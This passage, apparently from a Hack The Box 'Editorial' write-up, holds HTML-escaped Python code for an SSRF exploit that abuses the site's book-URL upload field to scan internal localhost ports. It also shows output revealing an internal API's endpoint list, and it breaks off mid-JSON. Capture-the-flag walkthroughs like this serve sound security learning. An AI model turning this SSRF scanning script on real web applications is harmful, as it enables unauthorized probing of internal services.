&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">headers&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;editorial.htb&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;User-Agent&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Content-Type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;multipart/form-data; boundary=----WebKitFormBoundaryLcrnsJGUaxiPah2I&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;*/*&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Origin&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;http://editorial.htb&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Referer&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;http://editorial.htb/upload&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Encoding&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;gzip, deflate&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Language&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;dnt&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;sec-gpc&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;------WebKitFormBoundaryLcrnsJGUaxiPah2I
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Content-Disposition: form-data; name=&amp;#34;bookurl&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">http://127.0.0.1:&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">------WebKitFormBoundaryLcrnsJGUaxiPah2I
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Content-Disposition: form-data; name=&amp;#34;bookfile&amp;#34;; filename=&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">Content-Type: application/octet-stream
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">------WebKitFormBoundaryLcrnsJGUaxiPah2I--&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">post&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">headers&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">status_code&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">200&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Extract the relative URL from the response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">relative_url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">relative_url&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Function to send GET request based on the relative URL&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">send_get_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">relative_url&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">relative_url&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;http://editorial.htb/&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">relative_url&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">headers&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;editorial.htb&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;User-Agent&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Referer&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;http://editorial.htb/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Encoding&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;gzip, deflate&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Language&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;dnt&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;sec-gpc&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">headers&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Function to process each payload&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">process_payload&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">relative_url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">send_post_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">relative_url&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">relative_url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">endswith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;.png&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">relative_url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">endswith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;.jpeg&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">relative_url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">endswith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;.jpg&amp;#34;&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">send_get_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">relative_url&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">relative_url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">relative_url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Main function to read payloads and execute the requests concurrently&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Read ports from payload.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="s1">&amp;#39;r&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ports&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">line&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">readlines&lt;/span>&lt;span class="p">()]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Use ThreadPoolExecutor to handle concurrent requests&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="n">concurrent&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">futures&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ThreadPoolExecutor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">max_workers&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">executor&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">futures&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">executor&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">submit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">process_payload&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ports&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">future&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">futures&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">post_response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">get_response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">future&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># print(f&amp;#34;Payload used: http://127.0.0.1:{port}/&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># print(f&amp;#34;Post Response: {post_response}&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">get_response&lt;/span> &lt;span class="ow">is&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="kc">None&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Payload used: http://127.0.0.1:&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">/&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Get Response: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">get_response&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Error: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After 2-3 mins, I got a hit on port **** of an API endpoint.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">python&lt;/span> &lt;span class="n">ssrfexploit.py&lt;/span> &lt;span class="n">payloads.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Payload&lt;/span> &lt;span class="n">used&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">127.0.0.1&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">****/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Get&lt;/span> &lt;span class="n">Response&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;messages&amp;#34;&lt;/span>&lt;span class="p">:[{&lt;/span>&lt;span class="s2">&amp;#34;promotions&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;Retrieve a list of all the promotions in our library.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/api/latest/metadata/messages/promos&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">}},{&lt;/span>&lt;span class="s2">&amp;#34;coupons&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;Retrieve the list of coupons to use in our library.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/api/latest/metadata/messages/coupons&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">}},{&lt;/span>&lt;span class="s2">&amp;#34;new_authors&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;Retrieve the welcome message sended to our new authors.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/api/latest/metadata/messages/authors&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">}},{&lt;/span>&lt;span class="s2">&amp;#34;platform_use&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;Retrieve examples of how to use the platform.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/api/latest/metadata/messages/how_to_use_platform&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">}}],&lt;/span>&lt;span class="s2">&amp;#34;version&amp;#34;&lt;/span>&lt;span class="p">:[{&lt;/span>&lt;span class="s2">&amp;#34;changelog&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;Retrieve a list of all the versions and updates of the api.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/api/latest/metadata/changelog&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">}},{&lt;/span>&lt;span class="s2">&amp;#34;latest&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;Retrieve the last version of api.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/api/latest/metadata&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">}}]}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This reveals serveral api endpoints.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;messages&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;promotions&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Retrieve a list of all the promotions in our library.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;/api/latest/metadata/messages/promos&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;coupons&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Retrieve the list of coupons to use in our library.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;/api/latest/metadata/messages/coupons&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
